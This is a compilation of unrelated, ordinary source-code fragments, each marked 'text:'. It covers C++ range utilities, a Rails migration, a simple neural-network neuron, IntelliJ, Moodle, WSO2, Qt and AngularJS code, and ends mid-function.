		template<typename IN_RANGE, typename FUNC>
		class TransformRange : public details::WithBeginEnd<TransformRange<IN_RANGE, FUNC>>
		{
			IN_RANGE m_range;
			FUNC m_func;
		public:
			static constexpr bool HasSize = IN_RANGE::HasSize;

			TransformRange(IN_RANGE r, FUNC f)
				: m_range(std::move(r)), m_func(std::move(f))
			{
			}

			bool IsEmpty() const { return m_range.IsEmpty(); }
			auto Front() { return m_func(m_range.Front()); }
			void Advance() { m_range.Advance(); }

			template<typename T=IN_RANGE, typename = std::enable_if_t<T::HasSize>>
			size_t Size() const { return m_range.Size(); }

			TransformRange MakeEmpty() const { return TransformRange{ m_range.MakeEmpty(), m_func }; }
		};

		namespace details
		{
			template<typename RANGE>
			struct WithBeginEnd
			{
				auto begin() const { return RangeIterator<RANGE>{ *static_cast<const RANGE*>(this)}; }
				auto end() const { return RangeIterator<RANGE>{ static_cast<const RANGE*>(this)->MakeEmpty() }; }
			};

			// Helpers for calling members in variadic template expansion
			template<typename RANGE>
			struct RangeIsEmpty { bool operator()(const RANGE& r) { return r.IsEmpty(); } };

			template<typename RANGE>
			struct RangeAdvance { void operator()(RANGE& r) { r.Advance(); } };

			template<typename RANGE>
			struct RangeFront
			{
				auto operator()(RANGE& r) -> decltype(r.Front())
				{
					return r.Front();
				}
			};

			// Functor for folding over ranges of finite/infinite size and picking the minimum size
			template<typename RANGE>
			struct RangeMinSizeFolder
			{
				template<typename T = RANGE, typename std::enable_if<T::HasSize, int>::type = 0>
				size_t operator()(size_t s, const RANGE& r) const
				{
					size_t rs = r.Size();
					return rs < s ? rs : s;
				}

				template<typename T = RANGE, typename std::enable_if<!T::HasSize, int>::type = 0>
				size_t operator()(size_t s, const RANGE&) const
				{
					return s;
				}
			};

			template<typename RANGE>
			using RangeFrontType = decltype(std::declval<RANGE>().Front());

			// Adaptor for using ranges in begin-end based range-based for loops
			template<typename RANGE>
			struct RangeIterator
			{
				RANGE m_range;

				RangeIterator(RANGE r) : m_range(std::move(r))
				{
				}

				void operator++() { m_range.Advance(); }
				RangeFrontType<RANGE> operator*() { return m_range.Front(); }
				bool operator!=(const RangeIterator&) { return !m_range.IsEmpty(); }
			};
		}

	}

	template<typename R>
	auto MakeRangeIterator(R&& r)
	{
		typedef std::decay<R>::type RANGE_TYPE;
		return ranges::details::RangeIterator<RANGE_TYPE>(std::forward<RANGE_TYPE>(r));
	}
}


text:
class AddInvoicedAtToWorkUnitsTable < ActiveRecord::Migration
  def self.up
    add_column :work_units, :invoiced_at, :datetime
  end

  def self.down
    remove_column :work_units, :invoiced_at
  end
end


text:
Neuron::Neuron( unsigned int numberOfOuptuts, unsigned int neuronIndex )
	: m_eta( 0.15 )
	, m_alpha( 0.5 )
{
	for( unsigned int connections = 0; connections < numberOfOuptuts; ++connections )
	{
		m_outputWeights.push_back( Connection() );
		//Set weight to random
		m_outputWeights.back().weight = randomWeight();
	}

	m_neuronIndex = neuronIndex;
}

void Neuron::updateInputWeights( Layer& previousLayer )
{
	//The weights to be updated are in the Connection container in the neurons in the previous layer

	for( unsigned int n = 0; n < previousLayer.size(); ++n )
	{
		Neuron& neuron = previousLayer[n];

		double oldDeltaWeight = neuron.m_outputWeights[m_neuronIndex].deltaWeight;

		double newDeltaWeight =
				//Individual input, magnified by the gradient and train rate
				m_eta
				* neuron.getOutputValue()
				* m_gradient
				//Also add momentum, a fraction of the previous delta weight
				+ m_alpha
				* oldDeltaWeight;

		neuron.m_outputWeights[m_neuronIndex].deltaWeight = newDeltaWeight;
		neuron.m_outputWeights[m_neuronIndex].weight += newDeltaWeight;
	}
}

double Neuron::sumDOW( const Layer& nextLayer ) const
{
	double sum = 0.0;

	//Sum our contributions of the errors at the nodes we feed

	for( unsigned int n = 0; n < nextLayer.size() - 1; ++n )
	{
		sum += m_outputWeights[n].weight * nextLayer[n].m_gradient;
	}

	return sum;
}

void Neuron::calculateOutputGradients( double targetValue )
{
	double delta = targetValue - m_outputValue;
	m_gradient = delta * transferFunctionDerivative( m_outputValue );
}

void Neuron::calculateHiddenGradients( const Layer& nextLayer )
{
	double dow = sumDOW( nextLayer );
	m_gradient = dow * transferFunctionDerivative( m_outputValue );

}

double Neuron::transferFunction( double x )
{
	//Hyperbolic tan: tanh
	//Output range [-1.0, 1.0]

	return tanh( x );
}

double Neuron::transferFunctionDerivative( double x )
{
	//Use approximation, actual is 1 - tanh^2( x )
	return 1.0 - tanh( x ) * tanh( x );
}

void Neuron::feedForward( const Layer& previousLayer )
{
	//Sum up the inputs
	double sum = 0.0;

	//Sum the previous layer's outputs (which are inputs)
	//Need to include the bias neuron from the previous layer as well

	for( unsigned int n = 0; n < previousLayer.size(); ++n )
	{
		sum += previousLayer[n].getOutputValue() *
				previousLayer[n].m_outputWeights[ m_neuronIndex ].weight;
	}

	m_outputValue = transferFunction( sum );

	//std::cout << "Output value: " << m_outputValue << std::endl;
}


text:
package com.intellij.codeInspection.varScopeCanBeNarrowed;

import com.intellij.codeInspection.InspectionsBundle;
import com.intellij.codeInspection.LocalQuickFix;
import com.intellij.codeInspection.ProblemDescriptor;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.application.WriteAction;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.editor.ScrollType;
import com.intellij.openapi.fileEditor.FileEditorManager;
import com.intellij.openapi.project.Project;
import com.intellij.psi.*;
import com.intellij.psi.search.searches.ReferencesSearch;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.psi.util.PsiUtil;
import com.intellij.util.IJSwingUtilities;
import com.intellij.util.IncorrectOperationException;
import com.intellij.util.NotNullFunction;
import com.siyeh.ig.psiutils.CommentTracker;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;

import java.util.Collection;
import java.util.HashSet;
import java.util.Set;

/**
 * refactored from {@link FieldCanBeLocalInspection}
 *
 * @author Danila Ponomarenko
 */
public abstract class BaseConvertToLocalQuickFix<V extends PsiVariable> implements LocalQuickFix {
  protected static final Logger LOG = Logger.getInstance(BaseConvertToLocalQuickFix.class);

  @Override
  @NotNull
  public final String getFamilyName() {
    return InspectionsBundle.message("inspection.convert.to.local.quickfix");
  }

  @Override
  public final void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {
    final V variable = getVariable(descriptor);
    if (variable == null || !variable.isValid()) return; //weird. should not get here when field becomes invalid
    final PsiFile myFile = variable.getContainingFile();

    try {
      final PsiElement newDeclaration = moveDeclaration(project, variable);
      if (newDeclaration == null) return;

      positionCaretToDeclaration(project, myFile, newDeclaration);
    }
    catch (IncorrectOperationException e) {
      LOG.error(e);
    }
  }

  @Nullable
  protected abstract V getVariable(@NotNull ProblemDescriptor descriptor);

  protected static void positionCaretToDeclaration(@NotNull Project project, @NotNull PsiFile psiFile, @NotNull PsiElement declaration) {
    final Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor();
    if (editor != null && (IJSwingUtilities.hasFocus(editor.getComponent()) || ApplicationManager.getApplication().isUnitTestMode())) {
      final PsiFile openedFile = PsiDocumentManager.getInstance(project).getPsiFile(editor.getDocument());
      if (openedFile == psiFile) {
        editor.getCaretModel().moveToOffset(declaration.getTextOffset());
        editor.getScrollingModel().scrollToCaret(ScrollType.RELATIVE);
      }
    }
  }

  protected void beforeDelete(@NotNull Project project, @NotNull V variable, @NotNull PsiElement newDeclaration) {
  }

  @Nullable
  protected PsiElement moveDeclaration(@NotNull Project project, @NotNull V variable) {
    final Collection<PsiReference> references = ReferencesSearch.search(variable).findAll();
    if (references.isEmpty()) return null;

    return moveDeclaration(project, variable, references, true);
  }

  protected PsiElement moveDeclaration(Project project, V variable, final Collection<? extends PsiReference> references, boolean delete) {
    final PsiCodeBlock anchorBlock = findAnchorBlock(references);
    if (anchorBlock == null) return null; //was assert, but need to fix the case when obsolete inspection highlighting is left

    final PsiElement firstElement = getLowestOffsetElement(references);
    final String localName = suggestLocalName(project, variable, anchorBlock);

    final PsiElement anchor = getAnchorElement(anchorBlock, firstElement);

    final PsiAssignmentExpression anchorAssignmentExpression = searchAssignmentExpression(anchor);
    if (anchorAssignmentExpression != null && isVariableAssignment(anchorAssignmentExpression, variable)) {
      final Set<PsiReference> refsSet = new HashSet<>(references);
      refsSet.remove(anchorAssignmentExpression.getLExpression());
      return applyChanges(
        project,
        localName,
        anchorAssignmentExpression.getRExpression(),
        variable,
        refsSet,
        delete,
        declaration -> new CommentTracker().replaceAndRestoreComments(anchor, declaration)
      );
    }

    return applyChanges(
      project,
      localName,
      variable.getInitializer(),
      variable,
      references,
      delete,
      declaration -> {
        PsiElement parent = anchorBlock.getParent();
        if (parent instanceof PsiSwitchStatement) {
          PsiElement switchContainer = parent.getParent();
          return switchContainer.addBefore(declaration, parent);
        }
        return anchorBlock.addBefore(declaration, anchor);
      }
    );
  }

  protected PsiElement applyChanges(@NotNull final Project project,
                                    @NotNull final String localName,
                                    @Nullable final PsiExpression initializer,
                                    @NotNull final V variable,
                                    @NotNull final Collection<? extends PsiReference> references,
                                    final boolean delete, @NotNull final NotNullFunction<? super PsiDeclarationStatement, ? extends PsiElement> action) {
    final PsiElementFactory elementFactory = JavaPsiFacade.getElementFactory(project);

    return WriteAction.compute(() -> {
      final PsiElement newDeclaration = moveDeclaration(elementFactory, localName, variable, initializer, action, references);
      if (delete) {
        deleteSourceVariable(project, variable, newDeclaration);
      }
      return newDeclaration;
    });
  }

  protected void deleteSourceVariable(@NotNull Project project, @NotNull V variable, PsiElement newDeclaration) {
    CommentTracker tracker = new CommentTracker();
    beforeDelete(project, variable, newDeclaration);
    variable.normalizeDeclaration();
    tracker.delete(variable);
    tracker.insertCommentsBefore(newDeclaration);
  }

  protected PsiElement moveDeclaration(PsiElementFactory elementFactory,
                                       String localName,
                                       V variable,
                                       PsiExpression initializer,
                                       NotNullFunction<? super PsiDeclarationStatement, ? extends PsiElement> action,
                                       Collection<? extends PsiReference> references) {
    final PsiDeclarationStatement declaration = elementFactory.createVariableDeclarationStatement(localName, variable.getType(), initializer);
    if (references.stream()
                  .map(PsiReference::getElement)
                  .anyMatch(element -> element instanceof PsiExpression &&
                                       PsiUtil.isAccessedForWriting((PsiExpression)element))) {
      PsiUtil.setModifierProperty((PsiLocalVariable)declaration.getDeclaredElements()[0], PsiModifier.FINAL, false);
    }
    final PsiElement newDeclaration = action.fun(declaration);
    retargetReferences(elementFactory, localName, references);
    return newDeclaration;
  }

  @Nullable
  private static PsiAssignmentExpression searchAssignmentExpression(@Nullable PsiElement anchor) {
    if (!(anchor instanceof PsiExpressionStatement)) {
      return null;
    }

    final PsiExpression anchorExpression = ((PsiExpressionStatement)anchor).getExpression();

    if (!(anchorExpression instanceof PsiAssignmentExpression)) {
      return null;
    }

    return (PsiAssignmentExpression)anchorExpression;
  }

  private static boolean isVariableAssignment(@NotNull PsiAssignmentExpression expression, @NotNull PsiVariable variable) {
    if (expression.getOperationTokenType() != JavaTokenType.EQ) {
      return false;
    }

    if (!(expression.getLExpression() instanceof PsiReferenceExpression)) {
      return false;
    }

    final PsiReferenceExpression leftExpression = (PsiReferenceExpression)expression.getLExpression();

    return leftExpression.isReferenceTo(variable);
  }

  @NotNull
  protected abstract String suggestLocalName(@NotNull Project project, @NotNull V variable, @NotNull PsiCodeBlock scope);

  private static void retargetReferences(PsiElementFactory elementFactory, String localName, Collection<? extends PsiReference> refs)
    throws IncorrectOperationException {
    final PsiReferenceExpression refExpr = (PsiReferenceExpression)elementFactory.createExpressionFromText(localName, null);
    for (PsiReference ref : refs) {
      if (ref instanceof PsiReferenceExpression) {
        ((PsiReferenceExpression)ref).replace(refExpr);
      }
    }
  }

  @Nullable
  private static PsiElement getAnchorElement(PsiCodeBlock anchorBlock, @NotNull PsiElement firstElement) {
    PsiElement element = firstElement;
    while (element != null && element.getParent() != anchorBlock) {
      element = element.getParent();
    }
    return element;
  }

  @Nullable
  private static PsiElement getLowestOffsetElement(@NotNull Collection<? extends PsiReference> refs) {
    PsiElement firstElement = null;
    for (PsiReference reference : refs) {
      final PsiElement element = reference.getElement();
      if (!(element instanceof PsiReferenceExpression)) continue;
      if (firstElement == null || firstElement.getTextRange().getStartOffset() > element.getTextRange().getStartOffset()) {
        firstElement = element;
      }
    }
    return firstElement;
  }

  private static PsiCodeBlock findAnchorBlock(final Collection<? extends PsiReference> refs) {
    PsiCodeBlock result = null;
    for (PsiReference psiReference : refs) {
      final PsiElement element = psiReference.getElement();
      PsiCodeBlock block = PsiTreeUtil.getParentOfType(element, PsiCodeBlock.class);
      if (result == null || block == null) {
        result = block;
      }
      else {
        final PsiElement commonParent = PsiTreeUtil.findCommonParent(result, block);
        result = PsiTreeUtil.getParentOfType(commonParent, PsiCodeBlock.class, false);
      }
    }
    return result;
  }
}


text:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

defined('MOODLE_INTERNAL') || die();

/**
 * Serves assignment feedback and other files.
 *
 * @param mixed $course course or id of the course
 * @param mixed $cm course module or id of the course module
 * @param context $context
 * @param string $filearea
 * @param array $args
 * @param bool $forcedownload
 * @return bool false if file not found, does not return if found - just send the file
 */
function assignfeedback_editpdf_pluginfile($course,
                                           $cm,
                                           context $context,
                                           $filearea,
                                           $args,
                                           $forcedownload) {
    global $USER, $DB, $CFG;

    if ($context->contextlevel == CONTEXT_MODULE) {

        require_login($course, false, $cm);
        $itemid = (int)array_shift($args);

        if (!$assign = $DB->get_record('assign', array('id'=>$cm->instance))) {
            return false;
        }

        $record = $DB->get_record('assign_grades', array('id'=>$itemid), 'userid,assignment', MUST_EXIST);
        $userid = $record->userid;
        if ($assign->id != $record->assignment) {
            return false;
        }

        // Check is users feedback or has grading permission.
        if ($USER->id != $userid and !has_capability('mod/assign:grade', $context)) {
            return false;
        }

        $relativepath = implode('/', $args);

        $fullpath = "/{$context->id}/assignfeedback_editpdf/$filearea/$itemid/$relativepath";

        $fs = get_file_storage();
        if (!$file = $fs->get_file_by_hash(sha1($fullpath)) or $file->is_directory()) {
            return false;
        }
        // Download MUST be forced - security!
        send_stored_file($file, 0, 0, true);// Check if we want to retrieve the stamps.
    }

}


text:
"use strict";

var test_helper = require("superfluous").test_helper;
test_helper.init();
var assert = require("assert");

describe("Kitten Controller", function() {
  it("should render the index page", function(done) {
    test_helper.test_route("kitten", "index", [], function(rendered_page) {
      // we've only verified that it contains the words 'html' and 'superfluous', so
      // far...
      assert.notEqual(rendered_page.indexOf("html"), -1);
      done();
    });
  });
});


text:
===================

A litewight jasmine node runner.
This is a slim adapter to run Jasmine with node.

It uses Jasmine2

## Getting Started
Install the module with: `npm install jasmine-node-lite`


text:
/* Commentary:
 *
 */

/* Change log:
 *
 */

#include "dtkDistributedControllerStatusModelFilter.h"

class dtkDistributedControllerStatusModelFilterPrivate
{
public:
    QFlags<dtkDistributedNode::Network> network_flags;
    QFlags<dtkDistributedNode::State> state_flags;
    QFlags<dtkDistributedNode::Brand> brand_flags;
    QFlags<dtkDistributedCpu::Architecture> arch_flags;
    QFlags<dtkDistributedCpu::Model> model_flags;
};

dtkDistributedControllerStatusModelFilter::dtkDistributedControllerStatusModelFilter(QObject *parent) : QSortFilterProxyModel(parent), d(new dtkDistributedControllerStatusModelFilterPrivate)
{
    this->setDynamicSortFilter(true);
}

dtkDistributedControllerStatusModelFilter::~dtkDistributedControllerStatusModelFilter(void)
{
    delete d;

    d = NULL;
}

void dtkDistributedControllerStatusModelFilter::setNetworkFlags(QFlags<dtkDistributedNode::Network> flags)
{
    d->network_flags = flags;

    this->invalidateFilter();
}

void dtkDistributedControllerStatusModelFilter::setStateFlags(QFlags<dtkDistributedNode::State> flags)
{
    d->state_flags = flags;

    this->invalidateFilter();
}

void dtkDistributedControllerStatusModelFilter::setBrandFlags(QFlags<dtkDistributedNode::Brand> flags)
{
    d->brand_flags = flags;

    this->invalidateFilter();
}

void dtkDistributedControllerStatusModelFilter::setArchFlags(QFlags<dtkDistributedCpu::Architecture> flags)
{
    d->arch_flags = flags;

    this->invalidateFilter();
}

void dtkDistributedControllerStatusModelFilter::setModelFlags(QFlags<dtkDistributedCpu::Model> flags)
{
    d->model_flags = flags;

    this->invalidateFilter();
}

bool dtkDistributedControllerStatusModelFilter::filterAcceptsRow(int row, const QModelIndex& parent) const
{
    QModelIndex n_index = sourceModel()->index(row, 1, parent);
    QModelIndex s_index = sourceModel()->index(row, 2, parent);
    QModelIndex b_index = sourceModel()->index(row, 3, parent);
    QModelIndex a_index = sourceModel()->index(row, 4, parent);
    QModelIndex m_index = sourceModel()->index(row, 5, parent);

    if ((int)(d->network_flags)) {

        if (sourceModel()->data(n_index).toString() == "Ethernet1G" && !d->network_flags.testFlag(dtkDistributedNode::Ethernet1G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Ethernet10G" && !d->network_flags.testFlag(dtkDistributedNode::Ethernet10G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Myrinet2G" && !d->network_flags.testFlag(dtkDistributedNode::Myrinet2G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Myrinet10G" && !d->network_flags.testFlag(dtkDistributedNode::Myrinet10G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Infiniband10G" && !d->network_flags.testFlag(dtkDistributedNode::Infiniband10G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Infiniband20G" && !d->network_flags.testFlag(dtkDistributedNode::Infiniband20G))
            return false;

        if (sourceModel()->data(n_index).toString() == "Infiniband40G" && !d->network_flags.testFlag(dtkDistributedNode::Infiniband40G))
            return false;
    }

    if ((int)(d->state_flags)) {

        if (sourceModel()->data(s_index).toString() == "Free" && !d->state_flags.testFlag(dtkDistributedNode::Free))
            return false;

        if (sourceModel()->data(s_index).toString() == "Busy" && !d->state_flags.testFlag(dtkDistributedNode::Busy))
            return false;

        if (sourceModel()->data(s_index).toString() == "Down" && !d->state_flags.testFlag(dtkDistributedNode::Down))
            return false;

        if (sourceModel()->data(s_index).toString() == "StandBy" && !d->state_flags.testFlag(dtkDistributedNode::StandBy))
            return false;

        if (sourceModel()->data(s_index).toString() == "Absent" && !d->state_flags.testFlag(dtkDistributedNode::Absent))
            return false;
    }

    if ((int)(d->brand_flags)) {

        if (sourceModel()->data(b_index).toString() == "Hp" && !d->brand_flags.testFlag(dtkDistributedNode::Hp))
            return false;

        if (sourceModel()->data(b_index).toString() == "Ibm" && !d->brand_flags.testFlag(dtkDistributedNode::Ibm))
            return false;

        if (sourceModel()->data(b_index).toString() == "Dell" && !d->brand_flags.testFlag(dtkDistributedNode::Dell))
            return false;

        if (sourceModel()->data(b_index).toString() == "Carri" && !d->brand_flags.testFlag(dtkDistributedNode::Carri))
            return false;
    }

    if ((int)(d->arch_flags)) {

        if (sourceModel()->data(a_index).toString() == "x86" && !d->arch_flags.testFlag(dtkDistributedCpu::x86))
            return false;

        if (sourceModel()->data(a_index).toString() == "x86_64" && !d->arch_flags.testFlag(dtkDistributedCpu::x86_64))
            return false;
    }

    if ((int)(d->model_flags)) {

        if (sourceModel()->data(m_index).toString() == "Xeon" && !d->model_flags.testFlag(dtkDistributedCpu::Xeon))
            return false;

        if (sourceModel()->data(m_index).toString() == "Opteron" && !d->model_flags.testFlag(dtkDistributedCpu::Opteron))
            return false;
    }

    return true;
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Starry.Web.Controls
{
    internal class HtmlElementAttributeCollection : Interface.IHtmlElementAttributeCollection
    {
        public HtmlElementAttributeCollection()
        {
            this.attributes = new List<Interface.IHtmlElementAttribute>();
        }

        public int Count { get { return this.attributes.Count; } }

        public void Clear()
        {
            this.attributes.Clear();
        }

        public string this[string name]
        {
            get
            {
                name = (name ?? string.Empty).Trim().ToLower();
                var attribute = this.attributes.FirstOrDefault(attr => attr.Name == name);
                return attribute == null ? string.Empty : attribute.Value ?? string.Empty;
            }
            set
            {
                name = (name ?? string.Empty).Trim().ToLower();
                var attribute = this.attributes.FirstOrDefault(attr => attr.Name == name);
                if (attribute == null)
                {
                    this.attributes.Add(new HtmlElementAttribute { Name = name, Value = value });
                }
                else
                {
                    attribute.Value = value;
                }
            }
        }

        public bool Remove(string name)
        {
            name = (name ?? string.Empty).Trim().ToLower();
            var attribute = this.attributes.FirstOrDefault(attr => attr.Name == name);
            if (attribute != null)
            {
                return this.attributes.Remove(attribute);
            }
            return false;
        }

        private IList<Interface.IHtmlElementAttribute> attributes;

        public IEnumerator<Interface.IHtmlElementAttribute> GetEnumerator()
        {
            return this.attributes.GetEnumerator();
        }

        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()
        {
            return this.GetEnumerator();
        }
    }
}


text:
package org.wso2.carbon.identity.tests.openid;

import java.util.Calendar;
import java.util.Date;

import org.apache.axis2.AxisFault;
import org.testng.Assert;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import org.wso2.carbon.automation.api.clients.identity.openid.OpenIDProviderServiceClient;
import org.wso2.carbon.identity.provider.openid.stub.dto.OpenIDUserRPDTO;
import org.wso2.carbon.identity.tests.ISIntegrationTest;

public class OpenIDRPManagementTestCase extends ISIntegrationTest {

	OpenIDProviderServiceClient openidServiceClient;

    private String userName = "admin";
    private String profileName = "default";

    private String rp1Url = "http://localhost:8080/openidclient";
    private boolean rp1TrustedAlways = false;
    private int rp1VisitCount = 0;
    private Date rp1lastVisit = Calendar.getInstance().getTime();

    private String rp2Url = "http://localhost:8080/openidclient2";
    private boolean rp2TrustedAlways = true;
    private int rp2VisitCount = 1;
    private Date rp2lastVisit = Calendar.getInstance().getTime();

    @BeforeClass(alwaysRun = true)
    public void testInit() throws Exception {
        super.init(0);

        openidServiceClient = new OpenIDProviderServiceClient(isServer.getBackEndUrl(), isServer.getSessionCookie());
    }

    @AfterClass(alwaysRun = true)
    public void atEnd() throws Exception {
     	openidServiceClient = null;
    }

//    TODO - Error getting data in the db query.
    @Test(alwaysRun = true, description = "Authenticate with Password")
    public void testOpenidRPAddUpdate() {

        // add rp1
        OpenIDUserRPDTO rp1dto = new OpenIDUserRPDTO();
        rp1dto.setDefaultProfileName(profileName);
        rp1dto.setUserName(userName);
        rp1dto.setOpenID(Util.getDefaultOpenIDIdentifier(userName));
        rp1dto.setRpUrl(rp1Url);
        rp1dto.setTrustedAlways(rp1TrustedAlways);
        rp1dto.setVisitCount(rp1VisitCount);
        rp1dto.setLastVisit(rp1lastVisit);

        try {
            openidServiceClient.updateOpenIDUserRPInfo(rp1dto);
        } catch (Exception e) {
            Assert.fail("Error while updating user RPInfo", e);
        }

        // add rp2
        OpenIDUserRPDTO rp2dto = new OpenIDUserRPDTO();
        rp2dto.setDefaultProfileName(profileName);
        rp2dto.setUserName(userName);
        rp2dto.setOpenID(Util.getDefaultOpenIDIdentifier(userName));
        rp2dto.setRpUrl(rp2Url);
        rp2dto.setTrustedAlways(rp2TrustedAlways);
        rp2dto.setVisitCount(rp2VisitCount);
        rp2dto.setLastVisit(rp2lastVisit);

        try {
            openidServiceClient.updateOpenIDUserRPInfo(rp2dto);
        } catch (Exception e) {
            Assert.fail("Error while updating user RPInfo", e);
        }

        // reading rps back
        OpenIDUserRPDTO[] rps = null;

        try {
            rps = openidServiceClient.getOpenIDUserRPs(Util.getDefaultOpenIDIdentifier(userName));
        } catch (Exception e) {
            Assert.fail("Error while getting user RPs", e);
        }

        // we should get two rps
        Assert.assertEquals(rps.length, 2);

        // lets read values back and check
        for(OpenIDUserRPDTO rp : rps) {

            if(rp1Url.equals(rp.getRpUrl())) {
                Assert.assertEquals(rp.getTrustedAlways(), rp1TrustedAlways);
                Assert.assertEquals(rp.getUserName(), userName);

            } else if(rp2Url.equals(rp.getRpUrl())) {
                Assert.assertEquals(rp.getTrustedAlways(), rp2TrustedAlways);
                Assert.assertEquals(rp.getUserName(), userName);

            } else {
                Assert.fail("Invalid RP returned");
            }

        }

        // update the RP1, lets trust it always
        rp1TrustedAlways = true;
        rp1VisitCount++;
        rp1lastVisit = Calendar.getInstance().getTime();

        // update rp1
        OpenIDUserRPDTO rp1Updateddto = new OpenIDUserRPDTO();
        rp1Updateddto.setDefaultProfileName(profileName);
        rp1Updateddto.setUserName(userName);
        rp1Updateddto.setOpenID(Util.getDefaultOpenIDIdentifier(userName));
        rp1Updateddto.setRpUrl(rp1Url);
        rp1Updateddto.setTrustedAlways(rp1TrustedAlways);
        rp1Updateddto.setVisitCount(rp1VisitCount);
        rp1Updateddto.setLastVisit(rp1lastVisit);
        try {
            openidServiceClient.updateOpenIDUserRPInfo(rp1Updateddto);
        } catch (Exception e) {
            Assert.fail("Error while updating user RPInfo", e);
        }

        // read the RP1 back now
        OpenIDUserRPDTO rp1updted = null;
        try {
            rp1updted = openidServiceClient.getOpenIDUserRPInfo(Util.getDefaultOpenIDIdentifier(userName), rp1Url);
        } catch (Exception e) {
            Assert.fail("Error while updating user RPInfo", e);
        }

        Assert.assertEquals(rp1updted.getRpUrl(), rp1Url);

        Assert.assertEquals(rp1updted.getTrustedAlways(), rp1TrustedAlways);

    }

}


text:
{{> field}}
<button></button>


text:
<?php

namespace Destiny;

use Destiny\Definitions\Manifest as ManifestDefinition;

/**
 * Class Manifest.
 */
class Manifest extends ManifestDefinition
{
    /**
     * Manifest constructor.
     *
     * @param array|null $definition
     */
    public function __construct(array $definition = null)
    {
        parent::__construct($definition);
    }
}


text:
export default ['$filter', '$state', '$stateParams', 'AddSchedule', 'Wait',
    '$scope', '$rootScope', 'CreateSelect2', 'ParseTypeChange', 'GetBasePath',
    'Rest', 'ParentObject',
    function($filter, $state, $stateParams, AddSchedule, Wait, $scope,
        $rootScope, CreateSelect2, ParseTypeChange, GetBasePath, Rest, ParentObject) {
    $scope.processSchedulerEndDt = function(){
        // set the schedulerEndDt to be equal to schedulerStartDt + 1 day @ midnight
        var dt = new Date($scope.schedulerUTCTime);
        // increment date by 1 day
        dt.setDate(dt.getDate() + 1);
        var month = $filter('schZeroPad')(dt.getMonth() + 1, 2),
            day = $filter('schZeroPad')(dt.getDate(), 2);
        $scope.$parent.schedulerEndDt = month + '/' + day + '/' + dt.getFullYear();
    };

    // initial end @ midnight values
    $scope.schedulerEndHour = "00";
    $scope.schedulerEndMinute = "00";
    $scope.schedulerEndSecond = "00";
    $scope.parentObject = ParentObject;

    /*
     * This is a workaround for the angular-scheduler library inserting `ll` into fields after an
     * invalid entry and never unsetting them. Presumably null is being truncated down to 2 chars
     * in that case.
     *
     * Because this same problem exists in the edit mode and because there's no inheritence, this
     * block of code is duplicated in both add/edit controllers pending a much needed broader
     * refactoring effort.
     */
    $scope.timeChange = () => {
        if (!Number($scope.schedulerStartHour)) {
            $scope.schedulerStartHour = '00';
        }

        if (!Number($scope.schedulerStartMinute)) {
            $scope.schedulerStartMinute = '00';
        }

        if (!Number($scope.schedulerStartSecond)) {
            $scope.schedulerStartSecond = '00';
        }

        $scope.scheduleTimeChange();
    };

    $scope.$on("ScheduleFormCreated", function(e, scope) {
        $scope.hideForm = false;
        $scope = angular.extend($scope, scope);
        $scope.$on("formUpdated", function() {
            $rootScope.$broadcast("loadSchedulerDetailPane");
        });

        $scope.$watchGroup(["schedulerName",
            "schedulerStartDt",
            "schedulerStartHour",
            "schedulerStartMinute",
            "schedulerStartSecond",
            "schedulerTimeZone",
            "schedulerFrequency",
            "schedulerInterval",
            "monthlyRepeatOption",
            "monthDay",
            "monthlyOccurrence",
            "monthlyWeekDay",
            "yearlyRepeatOption",
            "yearlyMonth",
            "yearlyMonthDay",
            "yearlyOccurrence",
            "yearlyWeekDay",
            "yearlyOtherMonth",
            "schedulerEnd",
            "schedulerOccurrenceCount",
            "schedulerEndDt",
            "schedulerEndHour",
            "schedulerEndMinute",
            "schedularEndSecond"
        ], function() {
            $scope.$emit("formUpdated");
        }, true);

        $scope.$watch("weekDays", function() {
            $scope.$emit("formUpdated");
        }, true);

        Wait('stop');
    });

    $scope.hideForm = true;

    var schedule_url = ParentObject.related.schedules || `${ParentObject.related.inventory_source}schedules`;

    $scope.formCancel = function() {
        $state.go("^");
    };

    // extra_data field is not manifested in the UI when scheduling a Management Job
    if ($state.current.name === 'jobTemplateSchedules.add'){
        $scope.parseType = 'yaml';
        // grab any existing extra_vars from parent job_template
        let defaultUrl = GetBasePath('job_templates') + $stateParams.id + '/';
        Rest.setUrl(defaultUrl);
        Rest.get().then(function(res){
            var data = res.data.extra_vars;
            $scope.extraVars = data === '' ? '---' :  data;
            ParseTypeChange({
                scope: $scope,
                variable: 'extraVars',
                parse_variable: 'parseType',
                field_id: 'SchedulerForm-extraVars'
            });
        });
    }
    else if ($state.current.name === 'workflowJobTemplateSchedules.add'){
        $scope.parseType = 'yaml';
        // grab any existing extra_vars from parent workflow_job_template
        let defaultUrl = GetBasePath('workflow_job_templates') + $stateParams.id + '/';
        Rest.setUrl(defaultUrl);
        Rest.get().then(function(res){
            var data = res.data.extra_vars;
            $scope.extraVars = data === '' ? '---' :  data;
            ParseTypeChange({
                scope: $scope,
                variable: 'extraVars',
                parse_variable: 'parseType',
                field_id: 'SchedulerForm-extraVars'
            });
        });
    }
    else if ($state.current.name === 'projectSchedules.add'){
        $scope.noVars = true;
    }
    else if ($state.current.name === 'inventories.edit.inventory_sources.edit.schedules.add'){
        $scope.noVars = true;
    }
    AddSchedule({
